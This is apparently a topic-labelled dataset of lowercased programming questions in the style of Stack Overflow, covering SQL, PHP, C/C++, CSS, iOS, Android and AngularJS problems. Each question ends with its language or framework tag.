how to implement  either-or  scenario in left outer joins in sql  i am a newbie in sql queries and am really struggling with the following query.    i have to implement something like this:   <pre><code>select person.name  person.age  employee.yearsofservice  from person  join employee on person.name = employee.name  join fulltimeemployed on person.name = fulltimeemployed.name  join parttimeemployed on person.name = parttimeemployed.name  where fulltimeemployed.manager =  rob   or parttimeemployed.manager =  rob  </code></pre>   basically i want to extract a list of all full time and part time employees who has their manager as  rob .    but the above query gives empty result since the employee cannot be present in both fulltimeemployed as well as parttime employed table.     so i need a way to implement a or clause between those 2 joins (fulltimeemployed and parttimeemployed). please suggest any ideas :(,sql
make session readonly on asp.net programmatically (enablesessionstate= readonly )  i need to make the session readonly so i can establish multiple requests to a page that uses sessions variables but in the readonly mode.    since all the process are performed on my server control i need a way to make the session readonly programmatically.,asp.net
crash when calling library  let s hope i can dumb this down without leaving out crucial details...    i ve got a test program:   <pre><code>#include &lt;lib.h&gt;  const char * input  =  xyz ;  int main() {     initializelib();     libprocess * process = createlibprocess();     fprintf( stderr   before run(%s)\n   input );     process-&gt;run(input);     fprintf( stderr   after run(%s)\n   input );     return 0; } </code></pre>   this test program i compile (gcc 4.1.2) and run as:   <pre><code>g++ -g -o test test.c -l /path/to/lib -i /path/to/include -lnameoflib export ld_library_path=/path/to/lib ./test </code></pre>   the library is rather complex  and not-too-smart in some places  and most importantly not-written-by-me  so don t flame me for the architecture of the functions involved:   <pre><code>class processbase {     public:         virtual int run( const char* buffer = null ) = 0; }  class libprocess : processbase {     public:         libprocess()         {             fprintf(  reached libprocess().\n  );         }          int  run( const char* buffer = null )         {             fprintf( stderr   reached run().\n  );         } };              void initializelib() {     // preparing some data }  processbase * createlibprocess() {     processbase * process = new libprocess();     fprintf( stderr   created process.\n  );     return (processbase *) process; } </code></pre>   so far  so good. but the output of it really had me baffled:   <pre><code>reached libprocess(). created process. before run(xyz)  segfault </code></pre>   i know the error is (most likely) somewhere completely different. but <em>how is this at all possible </em>    i would understand if the test died on calling the library the first time. i would understand if the test died when creating the process  or when it actually <em>does</em> something in run().    <em>but how can it die <b>between the calling of the function and actually reaching that function </b></em>    i m clueless  especially i don t know how to continue debugging this. help     <b>edit:</b> yes  i checked process to have a non-null value after createlibprocess(). a subsequent call to two different member functions of process  left out of the example  also worked beautifully. but the second member function call trashed memory due to a buffer overflow  and zeroed process.     this makes the question invalid. <i>of course</i> is calling null->run() a segfaulting offense.    question can be closed as  no longer relevant . thanks anyway!,c++
fopen in c wont create file <pre><code>file * f = fopen( c:\\out.txt    wb ); if(f == null)      printf( err ); </code></pre>   this code prints err.  c:\out.txt does not yet exist.  however if i create an empty file called out.txt and then place in the c:\ the code executes fine.  how do i make c create a file if it does not exist,c
ios open ibook file in app bundle  i have a ibook file (say sampleibook.iba) within the app bundle (not in documents directory). now i just want to open sampleibook from within app. i tried this    <pre><code>nsstring *path = [[nsbundle mainbundle] pathforresource:@ sampleibook  oftype:@ .iba ]; nsstring *stringurl = [@ ibooks://  stringbyappendingpathcomponent:path]; nsurl *url = [nsurl urlwithstring:stringurl];  if ([[uiapplication sharedapplication] canopenurl:url]) {     nslog(@ yes ); } [[uiapplication sharedapplication] openurl:url]; </code></pre>   the ibook application gets opened  showing only the files within the ibook application.  but i want the one in app bundle to be opened.    please guide me in achieving this.,ios
how to import font family in ios framework  i have made a framework  want to add sf san francisco font after that i want to use that framework in another project. any one can suggest me how to add and use it in framework.,ios
problem comparing count($somearray) to zero  my code is pretty straight forward:    <pre><code>if(count($votes &gt; 0)) { do something } else { do something else } </code></pre>   problem is if the count of that array is 0.. it acts like it was greater than 0.    anyone know why this is happening,php
php upload image get undefined index for $_file[ file ]  also submit button is not detected as isset  i have have 2 files. one for image upload. one for evaluating.  1st file:    <pre><code>&lt;html&gt;   &lt;head&gt;&lt;title&gt;upload file&lt;/title&gt;&lt;/head&gt;   &lt;body&gt;   &lt;h2&gt;upload file&lt;/h2&gt;  &lt;form method= post  action= assignment7_backend.php  enctype= multipart/form­data &gt;&lt;input type= hidden  name= max_file_size  value= 50000 &gt;  your file: &lt;input type= file  name= image &gt;  &lt;br/&gt;   &lt;input type= submit  value= send it! &gt;  &lt;/form&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   2nd file:   <pre><code>&lt;html&gt;   &lt;head&gt;&lt;title&gt;upload file&lt;/title&gt;&lt;/head&gt;   &lt;body&gt;   &lt;h2&gt;upload file now&lt;/h2&gt;   &lt; php    if (is_uploaded_file($_files[ image ][ tmp_name ])) {     if($_files[ image ][ error ] != upload_err_ok) {        print  &lt;p&gt;file not uploaded successfully!&lt;/p&gt; ;       print  &lt;p&gt;&lt;a href= assignment7_upload.php &gt;try uploading again&lt;/a&gt; &lt;/p&gt;  ;     } else {       move_uploaded_file($_files[ image ][ tmp_name ]   ./images/  . $_files[ image ][ name ] )       or die( can t move file );       print  &lt;p&gt;success!&lt;/p&gt; ;     }   } else {     print( &lt;p&gt;file is not uploaded&lt;/p&gt; );     print( &lt;p&gt; .$_files[ image ][ error ]. &lt;/p&gt; );     if (!isset($_post[ submit ])) {       print( &lt;p&gt;cannot even detect submit&lt;/p&gt; );     }   }    &gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   i was hoping to upload the file  but after i choose the file and submit  it shows error: <code>$_file[ image ]</code> index is undefined. also  <code>$_post[ submit ]</code> is not set. what is wrong with my code,php
angularjs input text enter press event triggeres ng-click of another control  here is my html/angular code example:   <pre><code>&lt;div class= row &gt;                         &lt;div class= col-sm-1 &gt;                             &lt;span&gt; cep code :&lt;/span&gt;                         &lt;/div&gt;                         &lt;div class= col-sm-2  ng-messages= savedailycalfrm.cepcode.$error  ng-if= savedailycalfrm.cepcode.$touched &gt;                             &lt;p ng-message= minlength &gt;{{validcepmsg}}&lt;/p&gt;                             &lt;p ng-message= required &gt;{{frmvalidationparms.cepmsg}}&lt;/p&gt;                         &lt;/div&gt;                     &lt;/div&gt;                      &lt;div class= cep_code &gt;                         &lt;input required name= cepcode  class= form-control  type= text  id= ceptextbox  ng-hide= issearch  ng-model= cepentertext  ng-blur= oncepenter()  ui-mask=  * * * * * * - 9 9 9 - 9 9 9  /&gt;                         &lt;input style= display:none  type= text  ng-model= cpecode.compid  id= hddncompid  /&gt;                         &lt;button class= abs  ng-hide= issearch  ng-click= loadfavcep() &gt;                             &lt;i class= fa fa-chevron-down &gt;&lt;/i&gt;                         &lt;/button&gt;                     &lt;/div&gt; </code></pre>   in <code>loadfavcep()</code> method i am opening a pop up for displaying some user s favourite records (in my case some project code). now the problem is when i enter the text in the text box (ceptextbox) and press enter the <code>ng-click</code> event is triggered (and pop up appears). but i want that the pop up should be shown only when users click on the button.    here is the code for <code>loadfavcep</code>:   <pre><code>$scope.loadfavcep = function () {     $scope.openmodalctrl =  favsearchctrl ;     $scope.open( templates/favcep.html    favsearchctrl );//open the pop up  } </code></pre>,angularjs
access violation reading location 0xfdfdfdfd. in c  i would like to get your help. i was debugging my code and i found out the compiler kicks  me out in this line    <pre><code> if(strcmp(text1[i] text1[i+1]) &gt; 0 ) </code></pre>   the error msg i get is   <pre><code>unhandled exception at 0x542ed442 (msvcr100d.dll) in lb11_12.exe: 0xc0000005: access violation reading location 0xfdfdfdfd. </code></pre>   and it s asks me if i want to break or continue why does its happen     this is my code   <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt; #include &lt;malloc.h&gt; #define lines 4 #define length 100  void sorttext1(char **text1); void sorttext2(char **text2); void printstr1(char **text1); void printstr2(char **text2); void main () {     int i;     char **text1;     char **text2;     char **text3;     text1=(char **)malloc(lines*sizeof(char *));         if(!text1) // terms - if there is not enough memory print error msg and exit the program.             {                 printf( alloc failed\n );                 return ;             }      for (i=0 ; i&lt;lines; i++)      {         text1[i] =(char*) malloc(length*sizeof(char));      }      text2=(char **)malloc(lines*sizeof(char *));         if(!text2) // terms - if there is not enough memory print error msg and exit the program.             {                 printf( alloc failed\n );                 return ;             }      for (i=0 ; i&lt;lines; i++)          {         text2[i] =(char*) malloc(length*sizeof(char));          }      text3=(char **)malloc((lines+lines)*sizeof(char *));         if(!text3) // terms - if there is not enough memory print error msg and exit the program.             {                 printf( alloc failed\n );                 return ;             }      for (i=0 ; i&lt;lines+lines; i++)      {         text3[i] =(char*) malloc(length*sizeof(char));      }      printf( first string please enter %d names (only capital letters without spaces):   lines);      for ( i=0 ; i&lt;lines ; i++)          {           gets(text1[i]);          }     printf( second string please enter %d names (only capital letters without spaces):   lines);     for ( i=0 ; i&lt;lines ; i++)       {           gets(text2[i]);       }     printstr1(text1);     printstr2(text2);     sorttext1(text1);     system( pause );     return ; } void sorttext1(char **text1) {      int i j k;     for (i=lines-1 ; i&gt;0 ; i--)     {         for ( j=0 ; j&lt;i ; j++ )         {             if(strcmp(text1[i] text1[i+1]) &gt; 0 )             {                 char *temp=text1[i+1];                 text1[i+1]=text1[i];                 text1[i]=temp;             }         }     }     printf( the first string sorted:\n );     for ( k=0 ; k&lt;lines ; k++)         {             printf( %s   text1[k]);         }     printf( \n ); } void printstr1(char **text1) {     int i;     printf( the first string of names:\n );     for ( i=0 ; i&lt;lines ; i++)         {             printf( %s   text1[i]);         }     printf( \n ); } void printstr2(char **text2) {     int i;     printf( the second string of names:\n );     for ( i=0 ; i&lt;lines ; i++)         {             printf( %s   text2[i]);         }     printf( \n ); } </code></pre>,c
when drawing an nsstring with -drawatpoint:  what is the starting point of the string   relative to the text... where is the point  top left of the rectangle where the text is,iphone
working with streamreader and text files  i want to put a test loop on the button click event. when i click this button  it reads the contents of the text file  but i want it to pop up an error message showing “unable to read file”  if it’s not a text file.... this is my code   <pre><code>private void button3_click(object sender  eventargs e) {     streamreader sr = new streamreader(textbox1.text);     richtextbox1.text = sr.readtoend();     sr.close(); } </code></pre>   how can i go about it,c#
missing template error when splitting view from layout  i am using st. laurent &amp; edd dumbill s learning rails book.  i am getting a missing template error when doing splitting view from layout exercise in chp3 above.      please help me understand why the error below is occurring.    template is missing missing layout layouts/hello.html.erb in view path c:/instantrails/rails_apps/hello/app/views    controller info: name: hello_controller    path: c:\instan~1\rails_apps\hello\app\controllers    code:   <pre><code>class hellocontroller &lt;applicationcontroller  def index @message= hello!   @count=3  @bonus= this message came from the controller.  end </code></pre>   end    view info:    name: index.html    path: c:\instan~1\rails_apps\hello\app\views\hello    code:   <pre><code>&lt;h1&gt;&lt;%=h @message %&gt;&lt;/h1&gt; &lt;p&gt;this is a greeting from app/views/hello/index.html.erb&lt;/p&gt; &lt;% for i in 1..@count %&gt; &lt;p&gt;&lt;%= @bonus %&gt;&lt;/p&gt; &lt;% end %&gt; </code></pre>   name: hello.html.erb    path:  c:\instan~1\rails_apps\hello\app\views\layouts    code:   <pre><code>&lt;html&gt; &lt;head&gt;&lt;title&gt;&lt;%=h @message %&gt; &lt;/title&gt; &lt;% stylesheet_link_tag  hello  %&gt;  &lt;/head&gt; &lt;body&gt; (using layout) &lt;!--layout will incorporate view--&gt; &lt;%= yield :layout %&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>,ruby-on-rails
select from select  hello i have a vehicle inspection database here and i have a code in sql that gives me 2nd and succeeding eventtime or greater than min(eventtime) with corresponding ticketstatus. tables are [event] and [car]... [event] table have fields carid (fk); eventtime; ticketstatus... while on the [car] table have fields carid (pk); plateno; package     note: [car].carid data type is unique identifier ex. {16f0151e-1938-4487-bb75-ff446b4db7ff}    executing the code will give me the carid  eventtime  ticketstatus. i dont want the carid as the result  i want the plateno from table [car]  ticketstatus  eventtime and the criteria [car].package = 4   <pre><code>select carid  ticketstatus  [eventtime]   from    (select row_number() over         (partition by carid order by [eventtime] asc) as [index]          carid  ticketstatus  [eventtime]     from vehicle.dbo.event event) a    where [index] &gt; 1  </code></pre>,sql
how to use between in prepared query statement  for example  if we have to find some data from a table which lies between two specific date  that we write query like this:   <pre><code>select * from tablename where date lies between  01-01-2000  and  01-01-2002  </code></pre>   i just want to know how to use this query in preparedquerystatement,sql
how to make a simple_list_item_multiple_choice with image at the left corner  how to modify the <code>simple_list_item_multiple_choice</code> with image at the left corner. please help me. i tried <a href= http://javasrilankansupport.blogspot.com/2012/05/android-listview-example-with-image-and.html  rel= nofollow noreferrer  title= this >this</a> example. but any possible way to use the <code>simple_list_item_multiple_choice</code>  to do the same thing      please help me    <strong><em>edit (required format)</em></strong>    <img src= https://i.stack.imgur.com/3bpwk.png  alt= enter image description here >,android
make line(path) between buttons css  is there a way to join buttons by drawing line between them  using css or whatever i ahve designed buttons and i want to make line(path) between buttons.,css
how to define css anchor text decoration for anchors in a specific container  say i have this:   <pre><code>#mytopbar {   background: #ffffff;   color: #000000;   line-height: 30px;   padding-left: 15px; } </code></pre>   howeever  i am unhappy about the general hover/visit anchor text decoration. how can i override text decoration so links are underlined for a specific id  (not class)     do i have to supply style on each anchor tag  or can i somehow do it in css  i have tried things like <code>#mytopbar a {...}</code> and <code>#mytopbar a:hover {...}</code> but it does not work as i hoped.,css
what is a casted parameter statement in c   in the following function   <pre><code>int f (some_struct* p) {     (void) p;     /* something else */     return 0; } </code></pre>   what does the statement   <pre><code>(void) p;  </code></pre>   mean,c
local declaration of x hides instance of variable  why do i get local declaration of eid hides instance of variable warning in xcode    <pre><code>nsstring *eid = [entertainmentarticle objectforkey:@ eid ];      nsurl *urlscheduledetailsview = [nsurl urlwithstring:[nsstring stringwithformat:@ http://www.mydomain.com/iostest/appphps/scheduleview.php eid=%@  eid]]; </code></pre>,objective-c
how to get dns server ip(s) from hostname in java  <strong>situation:</strong> i am trying to get the dns servers entries/details from each system. now each system can have different dns ips.      <strong>ques:</strong> how do i get/fetch dns server ip(s) from hostname in java      i did this:<code>linkedlist&lt;string&gt; nameservers = (linkedlist&lt;string&gt;) sun.net.dns.resolverconfiguration.open().nameservers();</code> and i am able to get the dns details of my localsystem - but i want to get the details of other systems aswell.    any suggestion,java
c++ do-while loop won t quit even once the condition is met  so most of my program works fine. it is a program designed to estimate sine and cosine values using taylor series. the program is designed to quit once the user inputs <code>0</code>  and then <code> y </code> or <code> y </code> upon being asked if they are sure. the char variable <code>exit</code> is initialized to <code> n </code>  and then is changed if the user inputs <code>y</code>. but the loop doesn t quit then.   <pre><code>#include &lt;iostream&gt; #include &lt;cmath&gt; using namespace std;  double calculatefact(int n); // function that calculates the factorial double calculatesin(float  float); // function that approximates the sine double calculatecos(float  float); // function that approximates the cosine  int main() {     int choice; // menu choice     double angle = 0; // angle user inputs  initialied to zero     double calc; // the calculated sine or cosine value     int order; // order approimation value     char exit =  n ; // exits for yes      do {         cout &lt;&lt;  main menu  &lt;&lt; endl;         cout &lt;&lt;  1. to enter the data.  &lt;&lt; endl;         cout &lt;&lt;  2. to calculate the sin(x)  &lt;&lt; endl;         cout &lt;&lt;  3. to approximate the sin(x)  &lt;&lt; endl;         cout &lt;&lt;  4. to calculate the cos(x)  &lt;&lt; endl;         cout &lt;&lt;  5. to approximate the cos(x)  &lt;&lt; endl;         cout &lt;&lt;  6. to re-enter data.  &lt;&lt; endl;         cout &lt;&lt;  press 0 to quit.  &lt;&lt; endl;         cout &lt;&lt;  please make a choice:  ;         cin &gt;&gt; choice;         cout &lt;&lt; endl;          if (choice != 0 &amp;&amp;             choice != 1 &amp;&amp;             choice != 2 &amp;&amp;             choice != 3 &amp;&amp;             choice != 4 &amp;&amp;             choice != 5 &amp;&amp;             choice != 6)         {             cout &lt;&lt;  wrong choice. only options 1-6 are available.  &lt;&lt; endl &lt;&lt; endl;         }          if (choice == 1)         {             if (angle == 0)             {                 cout &lt;&lt;  please give a value for the angle:  ;                 cin &gt;&gt; angle;                 cout &lt;&lt; endl;             }             else cout &lt;&lt;  please use option 6 to enter a new angle.  &lt;&lt; endl &lt;&lt; endl;         }          if (choice == 2)         {             if (angle == 0)             {                 cout &lt;&lt;  you have to enter a value first!  &lt;&lt; endl &lt;&lt; endl;             }             else             {                 calc = sin(angle);                 cout &lt;&lt;  the sine of x is   &lt;&lt; calc &lt;&lt; endl &lt;&lt; endl &lt;&lt; endl;             }         }          if (choice == 3)         {             if (angle == 0)             {                 cout &lt;&lt;  you have to enter a value first!  &lt;&lt; endl &lt;&lt; endl;             }             else             {                 cout &lt;&lt;  please give a value for the approximation order n:  ;                 cin &gt;&gt; order;                 cout &lt;&lt;  the approximation of sin(  &lt;&lt; angle &lt;&lt;  ) is:   &lt;&lt; calculatesin(angle  order) &lt;&lt; endl &lt;&lt; endl;             }         }          if (choice == 4)         {             if (angle == 0)             {                 cout &lt;&lt;  you have to enter a value first!  &lt;&lt; endl &lt;&lt; endl;             }             else             {                 calc = cos(angle);                 cout &lt;&lt;  the cosine of x is   &lt;&lt; calc &lt;&lt; endl &lt;&lt; endl &lt;&lt; endl;             }         }          if (choice == 5)         {             if (angle == 0)             {                 cout &lt;&lt;  you have to enter a value first!  &lt;&lt; endl &lt;&lt; endl; // cosine function not giving the right value             }             else             {                 cout &lt;&lt;  please give a value for the approximation order n:  ;                 cin &gt;&gt; order;                 cout &lt;&lt;  the approximation of cos(  &lt;&lt; angle &lt;&lt;  ) is:   &lt;&lt; calculatecos(angle  order) &lt;&lt; endl &lt;&lt; endl;             }         }          if (choice == 6)         {             if (angle == 0)             {                 cout &lt;&lt;  if this is the first time you run this program please choose option 1.  &lt;&lt; endl &lt;&lt; endl;             }             else             {                 cout &lt;&lt;  please give new angle:  ;                 cin &gt;&gt; angle;                 cout &lt;&lt; endl &lt;&lt; endl;             }         }          if (choice == 0)         {             cout &lt;&lt; exit;             cout &lt;&lt; endl &lt;&lt; endl &lt;&lt;  are you sure you want to quit  (y/n):  ; // y/n option doesnt work             cin &gt;&gt; exit;          }         cout &lt;&lt; exit;     } while (exit !=  y  || exit !=  y );      if (exit ==  y  || exit ==  y )     {         cout &lt;&lt; endl &lt;&lt;  now quitting..  &lt;&lt; endl;         system( pause );         return 0;     } }  double calculatefact(int n) {     double nfact = 1;     for (int i = 2; i &lt;= n; i++)         nfact *= i;     return nfact; }  double calculatesin(float angle  float order) {     double sine = angle;     for (int i = 1; i &lt; order; i++)     {         sine += pow(-1.0  i) * (pow(angle  2 * i + 1)) / calculatefact(2 * i + 1);     }     return sine; }  double calculatecos(float angle  float order) {     double cosine = 0;     for (int i = 0; i &lt; order; i++)     {         cosine += pow(-1.0  i) * (pow(angle  2 * i)) / calculatefact(2 * i);     }     return cosine; } </code></pre>,c++
mysql query to set one value to 1 and all others to 0  this query is intended to update the inuse variable if the result of a form input  e.g. $_post[ eventid ] matches the eventid in the database  thus changing the inuse value for that event to 1  and all others to zero.   <pre><code>mysql_query( update events set inuse=if( $_post[ eventid ]  = eventid  1  0) ); </code></pre>   the database requires an integer  however i am concerned as i ve dumped the value for $_post[ eventid ] which is showing up as a string. i ve  tried using intval and int to no avail.    or is the a problem in my query syntax     thanks :),mysql
how to re-arrange database primary key  good day i create database at localhost for website. and put some info  than i delete and re-enter info from database. and now for  id  primary key i have more than 200 rows. i want to re-arrange primary key.     for example    <pre><code>id |name 1  |samuel 2  |smith 4  |gorge 15 |adam 19 |david </code></pre>   i want to have   <pre><code>id |name 1  |samuel 2  |smith 3  |gorge 4  |adam 5  |david </code></pre>   is it possible to do with any command,mysql
css: div is placed over ul  i have a css problem which i cannot seem to grasp.  there is a div with <code>id =  header </code>. under that there is an ul which is my dropdown menu. and under that i have a div with some links.    the problem now is that the last div is not displayed  because it is placed under the ul. i found out that i could fix this with a <code>margin-top:29px</code>  as the menubar has that height  but this is not the nicest solution. i want it to be nice and future proof.    i added 2 images where this is visible in firebug. as you can see in the second picture  the last div is smaller than the menubar and is placed under the menubar.    hopefully someone can tell me what i am missing.    <img src= https://i.stack.imgur.com/iqdpe.jpg  alt= css image from firebug1 > <img src= https://i.stack.imgur.com/uhir2.jpg  alt= css image from firebug2 >    <strong>edit</strong> i have made a jsfiddle to show what i got now (i am sorry for the css that contains lots of lines for the menu) <a href= http://jsfiddle.net/ecz4w/  rel= nofollow noreferrer >http://jsfiddle.net/ecz4w/</a>    original html:   <pre><code>&lt;div id= header &gt; &lt;h1 id= logo &gt;&lt;a href= / &gt;koffers4u&lt;/a&gt;&lt;/h1&gt; &lt;div id= navigation &gt;     &lt;ul&gt;         &lt;li&gt;&lt;a href= / &gt;home&lt;/a&gt;&lt;/li&gt;         &lt;li&gt;&lt;a href= contact.php &gt;contact&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;ul class= dropdown dropdown-horizontal &gt; &lt;li&gt;&lt;a href= ./  class= dir &gt;menu1&lt;/a&gt;       &lt;ul&gt;         &lt;li&gt;&lt;a href= ./ &gt;all&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href= ./  class= dir &gt;menu2&lt;/a&gt;     &lt;ul&gt;         &lt;li&gt;&lt;a href= ./ &gt;all&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;div&gt; &lt;p&gt;     &lt;a href= http://www.cnn.com  target= _blank &gt;cnn.com&lt;/a&gt;&lt;br/&gt;     &lt;a href= http://www.cnn.com  target= _blank &gt;cnn.com&lt;/a&gt;&lt;br/&gt;      &lt;a href= http://www.cnn.com  target= _blank &gt;cnn.com&lt;/a&gt;&lt;br/&gt;     &lt;a href= http://www.cnn.com  target= _blank &gt;cnn.com&lt;/a&gt;&lt;br/&gt;  &lt;/p&gt; &lt;/div&gt;   </code></pre>,css
update multiple products in shopping cart  i am updating the cart using the following code but this code is updating the cart for a single product. how can i update the cart for multiple products     <strong>update.php</strong> <em>(this page is to take input in text box i.e. the quantity )</em>   <pre><code>&lt; php session_start();  &gt; &lt;html&gt; &lt;body&gt;     &lt;form action= update1.php  method= post &gt;         quantity:         &lt;input type= text  name= qty  value=  &gt;         &lt;br&gt;&lt;br&gt;         &lt;input type= submit  name= submit  value= submit &gt;     &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>update1.php</strong> <em>(this code is to update the quantity of the cart)</em>       <pre><code>// foreach ( $value as $key=&gt; $final_val ){ foreach($value as $product) {     if($_request[ pro_id ] == $product[ pro_id ])     {              $found = true;         break;     } }  if($found) {     $_session[ cart ][$_request[ pro_id ]][ qty ] ;     $_session[$x]=$product[ qty ];     $_session[ $qty ] = $_session[$x]+$qty1;     echo  qty: .$_session[ $qty ];  } else {     // go get new product and add to $_session[ cart ]     echo not done ; } //}  echo  &lt;h4 align= center &gt;  click here to &lt;a href= shoppingcart.php &gt;see list&lt;/a&gt; &lt;/h4&gt; ;  &gt; </code></pre>,php
css horizontal gap between divs  <a href= https://i.imgur.com/r1lzg.png 1  rel= nofollow noreferrer  title= link to image. ><img src= https://i.imgur.com/r1lzg.png 1  /></a>    as you can see there is a gap between the first (yellow outlined) div and the second (red-outlined) div.  i ve tried several things but nothing works so far.     <pre><code>#borderleft{      background: url(../01_templates/borderleft.png) left no-repeat;     display:inline;     position relative;     left:50px;     float:left;     width:133px;     border:1px dotted yellow;  }  #border{      background: url(../01_templates/bordercenter.png) left repeat-x;     display:inline;     position:inherit;     width:100%;     border:1px dotted red;     margin-right:116px;  }  #borderright{      background: url(../01_templates/borderright.png) left no-repeat;     display:inline;     float:right;     position:absolute;     right:0px;     border:1px dotted yellow;     width:133px;  }   &lt;div id= borderleft &gt;&lt;/div&gt; &lt;div id= border &gt;&lt;/div&gt; &lt;div id= borderright &gt;&lt;/div&gt; </code></pre>,css
nsdictionary method allkeys crashes after json serialization in ios  i have a dictionary instance declared in <code>pageoneview.h</code>:   <pre><code>@interface pageoneview : uiviewcontroller &lt;uitableviewdatasource                                              uitableviewdelegate                                              uitextfielddelegate&gt; {     nsdictionary *orderdetailsdictionary ; } @property  (nonatomic  retain )nsdictionary *orderdetailsdictionary; </code></pre>   i synthesize it in <code>pageoneview.m</code>:   <pre><code>@implementation pageoneview  @synthesize orderdetailsdictionary; </code></pre>   i initialize it with an object returned by <code>jsonserialization</code> class. (<code>orderdetailsjson</code> is a json string i have read from a web service) this line is borrowed from the apple sample code:   <pre><code>orderdetailsdictionary = [nsjsonserialization jsonobjectwithdata: [orderdetailsjson datausingencoding:nsutf8stringencoding] options:0 error:nil]; </code></pre>   next i try to get the first key.   <pre><code>nsstring *valstring = [nsstring stringwithformat:            @ %@\n   [[orderdetailsdictionary allkeys] objectatindex:0]]; </code></pre>   <code>allkeys</code> crashes here with <code>program received signal: exc_bad_access</code>. the output screen shows:   <pre><code>-[__nscfarray allkeys]: unrecognized selector sent to instance 0x6a211d0 </code></pre>,ios
open an app on google play when user click the hyperlink provided on the textview  below is the code that i used to open an app on the google paly.   <pre><code>    final string apppackagename = getpackagename(); // getpackagename() from context or activity object     try {         startactivity(new intent(intent.action_view  uri.parse( market://details id=  + apppackagename)));     } catch (exception e) {         log.d(tag  message = +e);          startactivity(new intent(intent.action_view  uri.parse( http://play.google.com/store/apps/details id=  + apppackagename)));     } </code></pre>   i have provided the hyperlink at the last of the text of the textview.how i can open an app on the google paly when user click on the hyperlink.,android
having issues with angular minification  i m having an issue with angular minification when i release.  i ve redone my controller to have annotations as recommended  but still get the same error:    error: unknown provider: nprovider &lt;- n    here s my first few lines of code for the controller:   <pre><code>var app = angular.module( myapp   [ nggrid    ui.bootstrap.dialog ]); app.controller( myctrl   [ $scope    $dialog    $http   function ($scope  $dialog  $http){     </code></pre>   update:  sorry  i found that there was another function i was using which was taking in $scope as parameter.  that was causing the issue. i basically did the same thing to annotate its parameters  and now it works.,angularjs
jquery selector select the second div with the classname x only  there are many divs in a page with the same classnames. how can i select only the second div with a specific classname  but nothing else  using jquery   thank you!!,jquery
input type= file  in ie only allows a filepath of 254 characters but windows 7 goes up to 260  i have a simple input tag to upload a file:    <pre><code>&lt;input type= file  name= upfile  class= myfile-input  multiple /&gt;  </code></pre>   this works fine in ie  chrome  fx  but if i exceed 254 ie9 doesn t display the file path and doesnt upload the file. chrome and fx handle exceeding 254 just fine. was wondering if anyone has come across the same problem  if so any good solutions available     thanks.,html
if i upload a next version of ios app in app store  is my old data will be deleted  i have one clarification  if i had upload a first version 1.0 of my app  in ituenes app store and that app 100 users have been downloaded and using it  after one month i have added some extra features in the same app and uploading a next version eg: 1.2     then the 100 users who have already using those application has been updated the next version.    my question is : in the first version if they have saved their data in  1. nsuser default 2. core data    will it be deleted when updating the next version.    what will be the process  some one could be explain.,ios
html: what is creating border on this webpage  i m trying to understand this webpage: <a href= http://www.canadianliving.com/food/slow_cooker_beef_stew.php  rel= nofollow >http://www.canadianliving.com/food/slow_cooker_beef_stew.php</a>    it is divided into several sections where each section has a border around it. for example  to the right of the title  slow-cooker beef stew  is an image  tested till perfect . immediately to the right of this is a border  which separates it from an advertisement. this border extends down and separates the section from the  related content  section below.     but what is making the border  i am using chrome s inspect element  computed style  but none of the tags seem to have a border-style. what else can create a border     (i m not looking for the best way to make a border; i need to understand how other pages do it.)    edit: based on people s answers  i tried the html below  which is not working. i don t get how an image in a parent div is repeated in each child div in such a way that it fits exactly along the border.   <pre><code>&lt;div style =  float:left;background-image:url( http://www.canadianliving.com/media/images/background_02.png 201206051535 );background-clip:border-box;background-origin:padding-box;background-repeat:repeat-y;  &gt;    &lt;div style =  float:left;width:300px;background-clip:border-box;background-origin:padding-box;padding-left:8px &gt;hello&lt;/div&gt;    &lt;div style =  float:left;width:300px;background-clip:border-box;background-origin:padding-box;padding-left:8px &gt;there&lt;/div&gt;  &lt;/div&gt; </code></pre>,html
what should be the correct way in assigning value to a static variable   i m trying to initialize a variable within a class constructor but the ide is showing this warning:      <code>the static field soapclient.url should be accessed in a static way.</code>    can you please check my code below  what should be the correct way to initialize the static variable  should i ignore the warning or should i just make the variable non-static     thanks.   <pre><code>public class soapclient {     private static string url;      public soapclient(string url) {         this.url = url;     } } </code></pre>,java
calculating array size inside function  <pre><code>#include &lt;iostream&gt; void arraysize(int arrmyarr[]) {     std::cout &lt;&lt; sizeof(arrmyarr) &lt;&lt;  \n ; }  void arraysize1(int *arrmyarr) {     std::cout &lt;&lt; sizeof(arrmyarr) &lt;&lt;  \n ; }  int main() {     int arrtemp[] = { 122  11  22  63  15  78  143  231 };     std::cout &lt;&lt; sizeof(arrtemp) &lt;&lt;  \n ;     arraysize(arrtemp);     arraysize1(arrtemp);     return 0; } </code></pre>   output: 32 4 4    does below two declarations of functions are same     <code>void arraysize(int arrmyarr[]);</code>    <code>void arraysize1(int *arrmyarr);</code>,c++
what happens when a duplicate value is inserted in a map in c++ <pre><code>void main() {      std::map&lt;int int&gt;keyvaluemap;     keyvaluemap.insert(0 1);     keyvaluemap.insert(0 2);      int index = keyvaluemap.begin()-&gt;second;  } </code></pre>   the value of index at thispoint is 1 and not 2 can someone explain why,c++
angularjs document.write() won t work in partial  i want to include the current year in the copy-write notice in the footer of angularjs app i m building with:   <pre><code>&lt;script type= text/javascript &gt;document.write(new date().getfullyear())&lt;/script&gt; </code></pre>   the problem is when i try to add it in a partial that has been added to document with <code>ng-include</code> it won t work:   <pre><code>&lt;footer ng-include=  app/static/partials/footer.html   class= main &gt;&lt;/footer&gt; </code></pre>   it works when i add it directly to <code>index.html</code>.  what is the best way to achieve this in angularjs     do i need to turn the footer into a directive and add a controller for this,angularjs
